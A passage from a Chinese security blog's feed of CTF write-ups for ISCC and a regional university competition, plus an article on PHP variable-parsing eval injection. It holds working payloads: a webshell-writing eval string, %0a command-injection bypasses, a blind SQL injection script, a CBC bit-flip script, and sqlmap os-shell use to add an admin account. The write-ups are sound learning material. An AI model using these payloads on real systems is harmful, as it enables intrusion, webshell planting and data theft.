<div id="crayon-5d0fe351b3c22818994869-6" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-st">return</span> <span class="crayon-v">base64</span><span class="crayon-sy">.</span><span class="crayon-e">b64encode</span><span class="crayon-sy">(</span><span class="crayon-v">s</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-7" class="crayon-line"></div>
<div id="crayon-5d0fe351b3c22818994869-8" class="crayon-line crayon-striped-line"><span class="crayon-e">def </span><span class="crayon-e">decode</span><span class="crayon-sy">(</span><span class="crayon-v">code</span><span class="crayon-sy">)</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c22818994869-9" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-v">res</span> <span class="crayon-o">=</span> <span class="crayon-s">&#8221;</span></div>
<div id="crayon-5d0fe351b3c22818994869-10" class="crayon-line crayon-striped-line"><span class="crayon-h">    </span><span class="crayon-v">s</span> <span class="crayon-o">=</span> <span class="crayon-v">base64</span><span class="crayon-sy">.</span><span class="crayon-e">b64decode</span><span class="crayon-sy">(</span><span class="crayon-v">code</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-11" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-st">for</span> <span class="crayon-i">i</span> <span class="crayon-st">in</span> <span class="crayon-v">s</span><span class="crayon-o">:</span></div>
<div id="crayon-5d0fe351b3c22818994869-12" class="crayon-line crayon-striped-line"><span class="crayon-h">        </span><span class="crayon-v">res</span><span class="crayon-o">+=</span><span class="crayon-e">chr</span><span class="crayon-sy">(</span><span class="crayon-e">ord</span><span class="crayon-sy">(</span><span class="crayon-v">i</span><span class="crayon-sy">)</span> <span class="crayon-o">^</span><span class="crayon-cn">32</span><span class="crayon-o">+</span><span class="crayon-cn">16</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-13" class="crayon-line"><span class="crayon-h">    </span><span class="crayon-st">return</span> <span class="crayon-e">res</span></div>
<div id="crayon-5d0fe351b3c22818994869-14" class="crayon-line crayon-striped-line"><span class="crayon-e">    </span></div>
<div id="crayon-5d0fe351b3c22818994869-15" class="crayon-line"><span class="crayon-e">    </span></div>
<div id="crayon-5d0fe351b3c22818994869-16" class="crayon-line crayon-striped-line"><span class="crayon-e">print </span><span class="crayon-e">encode</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;A&#8217;</span><span class="crayon-sy">)</span></div>
<div id="crayon-5d0fe351b3c22818994869-17" class="crayon-line"><span class="crayon-i">print</span> <span class="crayon-s">&#8220;&#8212;&#8212;&#8220;</span></div>
<div id="crayon-5d0fe351b3c22818994869-18" class="crayon-line crayon-striped-line"><span class="crayon-e">print </span><span class="crayon-e">decode</span><span class="crayon-sy">(</span><span class="crayon-s">&#8216;eYNzc2tjWV1gXFWPYGlTbQ==&#8217;</span><span class="crayon-sy">)</span></div>
</div>
</td>
</tr>
</tbody>
</table>
</div>
</div>
<p class="md-end-block md-p"><span class="md-image" data-src="https://y4er.com/img/uploads/20190508174145.png"><img src="https://y4er.com/img/uploads/20190508174145.png" alt="ISCC 2019部分writeup-ChaBug安全" /></span><span class="md-plain">脚本写的像屎，将就看，解密出来win和Linux的编码不一样，显示都不全，最后flag还得靠猜</span><span spellcheck="false"><code>ISCC{simple_pyc}</code></span></p>
<h1 class="md-end-block md-heading"><span class="md-plain">Rev02</span></h1>
<p class="md-end-block md-p"><span class="md-plain">.net程序 放到dnspy中</span></p>
<div class="post-image"><img loading="lazy" class="alignnone size-medium" src="https://y4er.com/img/uploads/20190508175431.png" alt="ISCC 2019部分writeup-ChaBug安全" width="1625" height="913" /></div>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>第十一届全国大学生信息安全竞赛(西南赛区)WriteUp分析</title>
		<link>/ctf/429.html</link>
		
		<dc:creator><![CDATA[Y4er]]></dc:creator>
		<pubDate>Mon, 18 Jun 2018 07:51:30 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[CTF]]></category>
		<guid isPermaLink="false">/?p=367</guid>

					<description><![CDATA[ChaBug核心小东的文章：https://blog.dyboy.cn/websecurity/31.html 博主是个小菜，也是第一次跟着大佬去参加线下比赛，收获颇丰，因为菜，只...]]></description>
										<content:encoded><![CDATA[<p>ChaBug核心小东的文章：<a href="https://blog.dyboy.cn/websecurity/31.html">https://blog.dyboy.cn/websecurity/31.html</a></p>
<blockquote><p>博主是个小菜，也是第一次跟着大佬去参加线下比赛，收获颇丰，因为菜，只能记录部分，后面再等大佬的WriteUp吧~</p></blockquote>
<p>小东参加的是西南赛区的比赛，大佬是真的有，不过题目也是真的怪(我菜)，基本是<code>WEB方向</code>的题，类似于杂项，脑洞也是出奇的大，有的题目还是值得学习，后面等搭建好docker环境在做尝试。</p>
<h3 id="h3-0x00-"><a class="reference-link" name="0x00 彩蛋题"></a>0x00 彩蛋题</h3>
<p>主办方说做了这道题会有i春秋的神秘礼物一份，因此小东做了一下，过程也是极其流畅。</p>
<p>找到注入点：<code>http://172.16.9.50/Blog/Diary.aspx?DiaryID=2</code><br />
<a href="https://s1.ax1x.com/2018/06/18/Cx0Iit.png" target="_blank" rel="noopener"><img src="https://s1.ax1x.com/2018/06/18/Cx0Iit.png" alt="" /></a><br />
SQLMAP跑一下，<code>--dump</code>数据库发现没有<code>flag</code>，然后<code>--os-shell</code>得到命令行权限，执行<code>netstat -an</code>发现3389端口开放，然后执行添加用户操作<br />
<a href="https://s1.ax1x.com/2018/06/18/CxBPQU.png" target="_blank" rel="noopener"><img src="https://s1.ax1x.com/2018/06/18/CxBPQU.png" alt="" /></a><br />
<code>mstsc</code>登陆远程管理<code>admin</code> <code>admin</code><br />
我的电脑中全盘搜索<code>flag</code>得到<code>flag.txt</code><br />
<a href="https://s1.ax1x.com/2018/06/18/CxrZ26.png" target="_blank" rel="noopener"><img src="https://s1.ax1x.com/2018/06/18/CxrZ26.png" alt="" /></a></p>
<hr />
<h3 id="h3-0x01-base32-"><a class="reference-link" name="0x01 base32解密"></a>0x01 base32解密</h3>
<p>这个题目的思路就是，扫描发现robots.txt访问发现一个目录，访问发现有一个302的跳转状态码，遂Burpsuite拦截，得到如下代码<br />
<a href="https://s1.ax1x.com/2018/06/18/CxBGTA.png" target="_blank" rel="noopener"><img src="https://s1.ax1x.com/2018/06/18/CxBGTA.png" alt="" /></a><br />
当时懵逼了一会儿，全是大写，又和Base64编码类似，突然想到之前做过的一道题base32的编码，python脚本简单写了，flag就出来了<br />
<a href="https://s1.ax1x.com/2018/06/18/CxBw6S.png" target="_blank" rel="noopener"><img src="https://s1.ax1x.com/2018/06/18/CxBw6S.png" alt="" /></a></p>
<hr />
<h3 id="h3-0x02-"><a class="reference-link" name="0x02 逻辑漏洞"></a>0x02 逻辑漏洞</h3>
<p>很多题目都是把这个作为突破口，抓包修改当前账户购买商品价格为负数，当前用户的积分余额就会越来越多，然后这道题就购买了flag</p>
<hr />
<h3 id="h3-0x03-"><a class="reference-link" name="0x03 后面的题目"></a>0x03 后面的题目</h3>
<p>没做出来…其中一道题目涉及很多方向的问题，非常的杂，废了很长的时间，后面的题目，小东也只是能够触摸一二，但是未能深入，最后我们小组排名第8</p>
<hr />
<h3 id="h3-0x04-"><a class="reference-link" name="0x04 待补充"></a>0x04 待补充</h3>
<p>…</p>
<h3 id="h3-0x05-"><a class="reference-link" name="0x05 总结"></a>0x05 总结</h3>
<p>通过此次比赛，发现自己真的很菜，之前没怎么系统地学习过，专注WEB安全，加油吧，小菜鸡，向大佬学习~</p>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>php变量解析的复杂语法</title>
		<link>/ctf/425.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Thu, 31 May 2018 05:16:41 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[编程学习]]></category>
		<category><![CDATA[PHP]]></category>
		<guid isPermaLink="false">/?p=342</guid>

					<description><![CDATA[                                         PHP的变量解析问题。 0x01  变量解析的两种语法 当字符串用双引号或heredoc结构定义时...]]></description>
										<content:encoded><![CDATA[<h3><strong><a href="/wp-content/uploads/2018/05/php-1.jpg"><img loading="lazy" class="alignnone size-full wp-image-348" src="/wp-content/uploads/2018/05/php-1.jpg" alt="" width="570" height="287" /></a></strong></h3>
<h2><strong>                                         </strong><strong><span class="wpcom_tag_link"><a href="/tags/php" title="PHP" target="_blank">PHP</a></span>的变量解析问题。</strong></h2>
<h3><strong>0x01  变量解析的两种语法</strong></h3>
<p>当字符串用双引号或heredoc结构定义时，其中的变量将会被解析。共有两种语法规则：一种简单规则，一种复杂规则。</p>
<p>以上这段话摘自php手册。在这里不谈论简单规则。</p>
<h3><strong>0x02  复杂（花括号）语法</strong></h3>
<p>任何具有string表达的标量变量，数组单元或对象属性都可使用此语法。只需简单地像在string以外的地方那样写出表达式，然后用花括号{和}把它括起来即可。由于{无法被转义，只有$紧挨着{时才会被识别。可以用{\$来表达{$。</p>
<p><em><strong>note:</strong></em></p>
<h5><strong>函数、方法、静态类变量和类常量只有在 PHP 5 以后才可在 <em>{$}</em> 中使用。然而，只有在该字符串被定义的命名空间中才可以将其值作为变量名来访问。只单一使用花括号 (<em>{}</em>) 无法处理从函数或方法的返回值或者类常量以及类静态变量的值。</strong></h5>
<p>看完php手册，来看一些例子。</p>
<p><code>$test = "coder";<br />
echo "$test"; //输出 ChaBug<br />
echo "$tests"; //爆出错误信息</code></p>
<p>这里我们的本意是第二条输出 coders，然而php会返回一个notice，Undefined variable: tests。说明这里$tests被当作一个变量来执行了。这个时候就要用到复杂语法，&#8221;${test}s&#8221; 这个时候就会输出 coders。{}在这里定义了标识符，也就是变量名字的边界，告诉&#8221;&#8221;在花括号内的才是变量。</p>
<p>也就是说 {}为变量名定义了一个边界。也就是说&#8221;{${test}}&#8221;和&#8221;${test}&#8221;效果是一样的。</p>
<h3><strong> 0x03  实际的用途</strong></h3>
<p>前几天ChaBug群里的小伙伴放了一个图片，当时知道是复杂语法也就没在看了，今天在这里仔细研究一下。代码如下：<br />
<code>$str=@(string)$_GET['chabug'];<br />
eval('$str="'.addslashes($str).'";');</code></p>
<p>这里我们在url中输入 ?chabug={${phpinfo()}}即可在页面返回php的相关信息。或者${${phpinfo()}}也可以，二者的区别就是前者返回一条警告，后者返回两条警告。小伙伴发的那道题在下面加了一条可以利用一下payload ：</p>
<div>${${fputs(fopen(&#8216;shell.php&#8217;,&#8217;w+&#8217;),'&lt;?php%20@eval(\$_POST[test])?&gt;&#8217;)}}在同级目录下写入shell文件。其实这样是不行的，我自己也本地试了一下，具体原因以及本题的利用方法原理将在下面解释。</div>
<h3><strong>0x04  利用原理</strong></h3>
<p>我们先来弄懂{${phpinfo()}}的原理。查阅了php手册以及一些资料得知，通常一个变量的定义必须是以下划线或者英文字母开头，且变量名只能包含下划线字母和数字。很明显{phpinfo()}里面包含了圆括号，并不是一个变量名，然而却可以执行。是因为在php中，可以接受函数的返回值作为变量名，而phpinfo()的返回值为TRUE也就是说{${phpinfo()}}其实等于$TRUE。我们来验证一下。<br />
<code>var_dump(1 == phpinfo()); //返回bool(true)并且返回php相关信息</code><br />
<code>var_dump($TRUE == ${phpinfo()}); //返回bool(true)并且返回php相关信息和两条警告</code></p>
<p>通过这个验证我们可以获取两条信息，一、在以函数返回值为变量名称定义变量时，函数先执行并返回相关值，{}花括号获取返回值并连接$定义变量。二、$TRUE==${phpinfo()}，说明{${phpinfo()}}并不是定义了一个变量$phpinfo()而是$TRUE。</p>
<p>所以我们就很容易理解为什么在第三阶段中可以执行phpinfo()的原因了。我们来拆分代码，方便理解。<br />
eval(&#8216;$str=&#8221;&#8216;.addslashes($str).'&#8221;;&#8217;);<br />
eval(&#8216;$str=&#8221;{${phpinfo()}}&#8221;;&#8217;);<br />
这个时候双引号就会把{}里的内容当作变量，而又因为先执行phpinfo()函数并将返回值赋给变量名所以会页面会返回php相关信息。这里不太容易理解，我们可以自己在本地试验一下<br />
<code>$str = "{${phpinfo()}}";//可以理解为$str = $true 而 $true是先执行了phpinfo()函数才产生的。</code><br />
因为eval()函数会将引号内的字符串当作php代码去执行，所以就相当于执行了我们的上述代码，即返回了phpinfo和一条警告。<br />
<code>$test1 = "Welcome to ChaBug";<br />
function chabug(){<br />
$str = 'test1';<br />
return $str;<br />
}<br />
$test2 = "{${chabug()}}";<br />
echo $test2;//这里输出的是Welcome to ChaBug</code><br />
BB了半天，觉得这一段代码足够说明问题&#8230;.自行理解。<br />
理解了{${phpinfo()}}的原理接下来说小伙伴的第二个payload为什么行不通。这个payload的想法是好的，但是构造的方法不对。payload作者的想法是利用在单引号中如果需要返回特殊字符，必须进行转义，即 echo &#8216;\&#8221;;返回 &#8216; 。利用这一点来绕过addslashes()函数的转义，以达到命令执行写入webshell文件。但是这里为什么不行呢。<br />
因为源代码利用了点(.)这个连接符。当我们的输入包含单引号({${system(&#8216;whoami&#8217;)}})并且被addslashes()函数转义带入eval函数中是这样的。<br />
eval(&#8216;$str=&#8221;{${system(\&#8217;whoami\&#8217;)}}&#8221;;&#8217;);也就相当于<br />
eval(&#8216;$str=&#8221;&#8216;<br />
{${system(\&#8217;whoami\&#8217;)}}<br />
&#8216;&#8221;;&#8217;);<br />
也就是说\&#8217;根本没有被解析回&#8217;。还是用代码来说简单一些。<br />
<code>$chabug = "\'";<br />
echo '$str="'.$chabug.'";';//返回$str="\'";</code><br />
即 echo &#8216;$str=&#8221;&#8216;;+echo $chabug;+echo &#8216;&#8221;;&#8217;;<br />
这样就能理解为什么0x03中的payload并不能实现的原因了。但是是有办法实现绕过addslashes这个函数的，下面分享一种方法但不仅限一种。<br />
利用火狐插件或者burp,这里使用hackbar。<br />
get:http://localhost/test.php?chabug={${@eval($_POST[cmd])}}<br />
post: cmd=fputs(fopen(&#8216;shell.php&#8217;,&#8217;w+&#8217;),&#8217;<!--?php @eval(\$_POST[test])?-->&#8216;);<br />
即可在同目录下生成shell文件。<br />
appcms2.0.101存在同样的命令执行漏洞，可以尝试复现有助于理解。<br />
欢迎各位师傅指点交流。</p>
<p>参考链接:http://php.net/manual/zh/language.types.string.php</p>
<h1>最后说一句，PHP真他妈是世界上最好的语言！不接受反驳。</h1>
]]></content:encoded>
					
		
		
			</item>
		<item>
		<title>ISCC2018 writeup(web)</title>
		<link>/ctf/423.html</link>
		
		<dc:creator><![CDATA[s1ye]]></dc:creator>
		<pubDate>Fri, 25 May 2018 12:08:55 +0000</pubDate>
				<category><![CDATA[CTF笔记]]></category>
		<category><![CDATA[CTF]]></category>
		<category><![CDATA[iscc2018]]></category>
		<category><![CDATA[Writeup]]></category>
		<guid isPermaLink="false">/?p=322</guid>

					<description><![CDATA[ 比较数字大小 F12 修改maxlength为4 web01 strcmp()函数遇到数组会返回NULL 而PHP是弱类型语言  在==比较的时候，如果有数值的话会先将字符串转换...]]></description>
										<content:encoded><![CDATA[<h2><span style="color: black; font-family: Helvetica;"><span style="font-size: 8pt;"> 比较数字大小</span><span style="font-size: 8pt;"><br />
</span></span></h2>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 14pt;">F12 修改maxlength为4</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_1.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 14pt;">web01</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_2.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">strcmp()函数遇到数组会返回NULL 而PHP是弱类型语言  在==比较的时候，如果有数值的话会先将字符串转换为数值在进行比较，而NULL转换成数值为0，所以绕过题目限制。<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">payload:  get: /?password[]=1<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_3.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 14pt;">本地的诱惑</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">右键查看源代码即可。<br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 14pt;">你能跨过去吗？</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_4.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 复制callback参数内容 base64解码得到&lt;script&gt;alert(&#8220;key:/%nsfocusXSStest%/&#8221;)&lt;/script&gt;  复制key的内容 提交得到flag；<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_5.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 14pt;">一切都是套路</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">访问/index.php.txt得到源代码:<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_6.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">变量覆盖漏洞($$):<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">get: ?_200=flag<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">post: flag=x<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_7.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 14pt;">你能绕过吗</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_8.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">更改f参数的内容发现会报错，猜测是文件包含漏洞<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_9.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">用php伪协议来读取flag.经过测试发现题目过滤了php 所以用PHP://filter/convert.base64-encode/resource=index,解码读到flag。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_10.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 8pt;"> </span><span style="font-size: 14pt;">web02</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_11.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> burp截断 利用client-ip: 127.0.0.1修改客户端ip以欺骗服务器 得到flag。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_12.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<h3><span style="color: black; font-family: Helvetica; font-size: 12pt;">请ping我的ip 看你能Ping通吗？<br />
</span></h3>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 根据题目要求 ping 猜测是命令注入漏洞，过滤了; &amp; |等特殊符号  利用%0a(换行)进行绕过<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">用  ls / 命令查看目录<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_13.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">最后在 /home目录下发现flag   payload: /?ip=127.0.0.1%0a cat /home/flag得到flag<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_14.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<h3><span style="color: black; font-family: Helvetica; font-size: 12pt;">Please give me username and password!<br />
</span></h3>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">/index.php.txt 页面泄漏源代码，利用php弱类型进行绕过;<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">?username[]=0&amp;password=1e9<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_15.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<h3><span style="color: black; font-family: Helvetica; font-size: 12pt;">SQL注入的艺术<br />
</span></h3>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> <a href="/wp-content/uploads/2018/05/052518_1206_16.png"><img loading="lazy" class="alignnone size-full wp-image-303" src="/wp-content/uploads/2018/05/052518_1206_16.png" alt="" width="1504" height="827" /></a></span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">点击个人信息页面,宽字节注入，可以盲注也可以联合查询注入。 当时写了个脚本盲注</span></p>
<pre class="lang:default decode:true ">import re
import requests
cname = ''
flag = ''
url = 'http://118.190.152.202:8015/index.php?id=1%df'
payload = "' and ascii(substr(({p}),{m},1))={n}%23"
list = [64,94,96,124,176,40,41,48,49,50,51,52,53,54,55,56,57,173,175,95,65,66,67,68,69,70,71,72,73,74,75,76,77,78,79,80,81,82,83,84,85,86,87,88,89,90,97,98,99,100,101,102,103,104,105,106,107,108,109,110,111,112,113,114,115,116,117,118,119,120,121,122,44]
for  i in range(1,46):
    for ss in list:
        p = payload.format(p='select group_concat(column_name) from information_schema.columns where table_name = 0x61646d696e73',m=i,n=ss)
        u = requests.get(url+p)
        if "head.jpg" in u.content:
            cname += chr(ss)
            print cname
            break
for i in range(1,23):
    for l in list:
        pp = payload.format(p='select flag from admins',m=i,n=l)
        u = requests.get(url+pp)
        if "head.jpg" in u.content:
            flag += chr(l)
            print flag
            break</pre>
<p>&nbsp;</p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> <img src="/wp-content/uploads/2018/05/052518_1206_17.png" alt="" /><br />
</span></p>
<h3><span style="color: black; font-family: Helvetica; font-size: 12pt;">试试看<br />
</span></h3>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">/show.php?img=1.jpg  复制图片地址  文件包含漏洞。<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">由于不包含.jpg文件提示File not found！ resource可以包含两个文件 所以绕过<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">payload:  php://filter/convert.base64-encode/resource=../flag.php|1.jpg 查看源代码得到flag。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_18.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<h3><span style="color: black; font-family: Helvetica; font-size: 12pt;">Collide<br />
</span></h3>
<p><img src="/wp-content/uploads/2018/05/052518_1206_19.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 直接给出源代码，由于key的值不知道 但是我们知道key的 长度为46，利用hash长度扩展攻击<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">编码后的username:  guest%80%00%00%00%00%98%01%00%00%00%00%00%00admin<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 用hashdump求出md5值 5f585093a7fe86971766c3d25c43d0eb<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> <img src="/wp-content/uploads/2018/05/052518_1206_20.png" alt="" /><br />
</span></p>
<h3><span style="color: black; font-family: Helvetica; font-size: 12pt;">Only admin can see flag<br />
</span></h3>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">cbc字节翻转攻击<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">/index.txt看到源代码 搜了一下 发现cbc字节翻转攻击 附带脚本。</span></p>
<pre class="lang:default decode:true ">import urllib
import base64
#a:2:{s:8:"userna
#me";s:5:"admiN";
#s:8:"password";s
#:6:"123456";}
cipher=base64.b64decode(urllib.unquote("uA900LR7DpuWKx7K5GyvwtBhhc4Q9OVGMoXMYfIxo4lw8qgJmlbjELEU%2FeOWSGR31Zyi8BkxJ4knpng7j4sMUQ%3D%3D"))
iv=base64.b64decode(urllib.unquote("9qcxkpyvwymnvOp49F2Uvg%3D%3D"))
newcipher=cipher[0:13]+chr(ord(cipher[13])^ord('N')^ord('n'))+cipher[14:]
print urllib.quote(base64.b64encode(newcipher))
jiamingwen=base64.b64decode(urllib.unquote('twZ92UO5Kx1ne5hEeGTCum1lIjtzOjU6ImFkbWluIjtzOjg6InBhc3N3b3JkIjtzOjY6IjEyMzQ1NiI7fQ=='))
mingwen = 'a:2:{s:8:"userna'
newiv = ''
for i in range(0,16):
    newiv += chr(ord(mingwen[i])^ord(jiamingwen[i])^ord(iv[i])) 
print urllib.quote(base64.b64encode(newiv))</pre>
<p>&nbsp;</p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">先用admiN 123456登录<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_21.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">在地址栏处回车(不要刷新，否则cipher 和iv会刷新)并用burp抓包。<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> <img src="/wp-content/uploads/2018/05/052518_1206_22.png" alt="" /><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">将iv 和 cipher放入脚本中 得到新的 cipher 修改cookie中的 cipher 得到报错信息中的 cipher。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_23.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_24.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_25.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 复制报错信息中的cipher到脚本中 运行得到新的iv  修改iv为新的iv 且cipher为第一次脚本运行得到的cipher。得到flag；<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_26.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica;"><span style="font-size: 18pt;"> 为什么这么简单啊</span><span style="font-size: 8pt;"><br />
</span></span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_27.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">根据提示利用 xff ip地址伪造和referer 即可进入第二关。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_28.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_29.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 右键查看源码，发现可疑js文件，浏览找到密码 base64解码 提交得到flag。<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> <img src="/wp-content/uploads/2018/05/052518_1206_30.png" alt="" /><br />
</span></p>
<pre><code><span style="color: black; font-size: 7pt;"><span style="font-family: Courier New;">ADwAcwBjAHIAaQBwAHQAPgBhAGwAZQByAHQAKAAiAHAAYQBzAHMAdwBvAHIAZAA6AHgAaQBuAHkAaQBqAGkALgBjAG8AbQAiACkAPAAvAHMAYwByAGkAcAB0AD4
</span><span style="font-family: 宋体;">解码得到</span><span style="font-family: Courier New;">: xinyiji.com
</span></span></code></pre>
<p><img src="/wp-content/uploads/2018/05/052518_1206_31.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">php是世界上最好的语言<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_32.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">用户名随便输 ，密码用php弱类型进行绕过 :QNKCDZO（<a href="/ctf/222/">可以看我之前写过的php知识点总结）</a><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;"> 点击得到<img src="/wp-content/uploads/2018/05/052518_1206_33.png" alt="" /><br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_34.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">利用全局变量打印出$flag变量即可。<br />
</span></p>
<p><img src="/wp-content/uploads/2018/05/052518_1206_35.png" alt="" /><span style="color: black; font-family: Helvetica; font-size: 8pt;"><br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">Sqli<br />
</span></p>
<p><span style="color: black; font-family: Helvetica; font-size: 8pt;">题目说的很明确 就是注入了。经过测试发现是盲注 于是写了个脚本跑出密码登录。<br />
</span></p>
